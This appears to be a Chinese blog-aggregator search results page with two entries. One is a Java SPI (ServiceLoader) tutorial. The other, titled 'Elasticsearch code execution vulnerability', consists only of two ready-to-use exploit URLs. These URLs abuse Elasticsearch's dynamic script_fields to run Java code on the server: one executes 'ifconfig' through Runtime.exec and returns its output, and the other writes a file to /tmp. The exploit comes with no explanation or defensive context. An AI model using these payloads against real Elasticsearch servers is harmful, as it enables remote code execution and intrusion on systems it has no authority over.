首页 文章 精选 留言 我的

精选列表

搜索[执行机制],共10017篇文章
优秀的个人博客,低调大师

Elasticsearch 代码执行漏洞

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}} http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nFile%20f%20=%20new%20File(\%22/tmp/12.txt\%22);if(f.exists()){\%22exists\%22.toString();}BufferedWriter%20bw%20=%20new%20BufferedWriter(new%20OutputStreamWriter(new%20FileOutputStream(f),\%22UTF-8\%22));bw.write(\%221233\%22);bw.flush();bw.close();if(f.exists()){\%22success\%22.toString();}%22}}}

优秀的个人博客,低调大师

Java SPI机制

0 很久没有写博客了,这一两个月基本上就是找工作——离职——入职。到今天基本上入职近一个月了,在看公司代码的时候发现使用到了SPI技术来进行解耦,这篇文章主要写下SPI的基本使用。 1. SPI基本概念 SPI的全名叫Service Provider Interface,其主要是针对厂商或者插件的。我的理解就是上层提供接口,我们需要去实现,并且上层只需要根据我们的配置文件即可拿到我们的实现类(反射获取)。 2. SPI代码 先看下目录结构: 目录结构 2.1 接口定义 定义一个接口IStudy: public interface IStudy { void study(); } 2.2 编写实现类 编写两个实现类NormalStudy和SuperStudy: public class NormalStudy implements IStudy { @Override public void study() { System.out.println("normal study"); } } public class SuperStudy implements IStudy { @Override public void study() { System.out.println("super study"); } } 2.3 创建com.nick.test.IStudy文件 在src目录下创建META-INF\services\com.nick.test.IStudy文件,并在文件中添加两个实现类: com.nick.test.NormalStudy com.nick.test.SuperStudy 2.4 测试 public class Test { public static void main(String[] args) { ServiceLoader<IStudy> searches = ServiceLoader.load(IStudy.class); Iterator<IStudy> iterator = searches.iterator(); while (iterator.hasNext()) { iterator.next().study(); } } } 2.5 输出 结果 3 原理简单分析 大致原理其实通过上面的示例应该都知道了:通过读取META-INF/services/com.nick.test.IStudy文件的内容来确定接口对应的实现类,最终通过反射来进行实现类的加载。 核心代码: try { Enumeration<URL> resource = Test.class.getClassLoader().getResources("META-INF/services/" + IStudy.class.getName()); while (resource.hasMoreElements()) { URL url = resource.nextElement(); InputStream inputStream = url.openStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream, "utf-8")); String s; while ((s = bufferedReader.readLine()) != null) { System.out.println(s); } } } catch (IOException e) { e.printStackTrace(); } 输出: com.nick.test.NormalStudy com.nick.test.SuperStudy 最后通过反射加载并创建对象即可,原理还是很简单的!

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册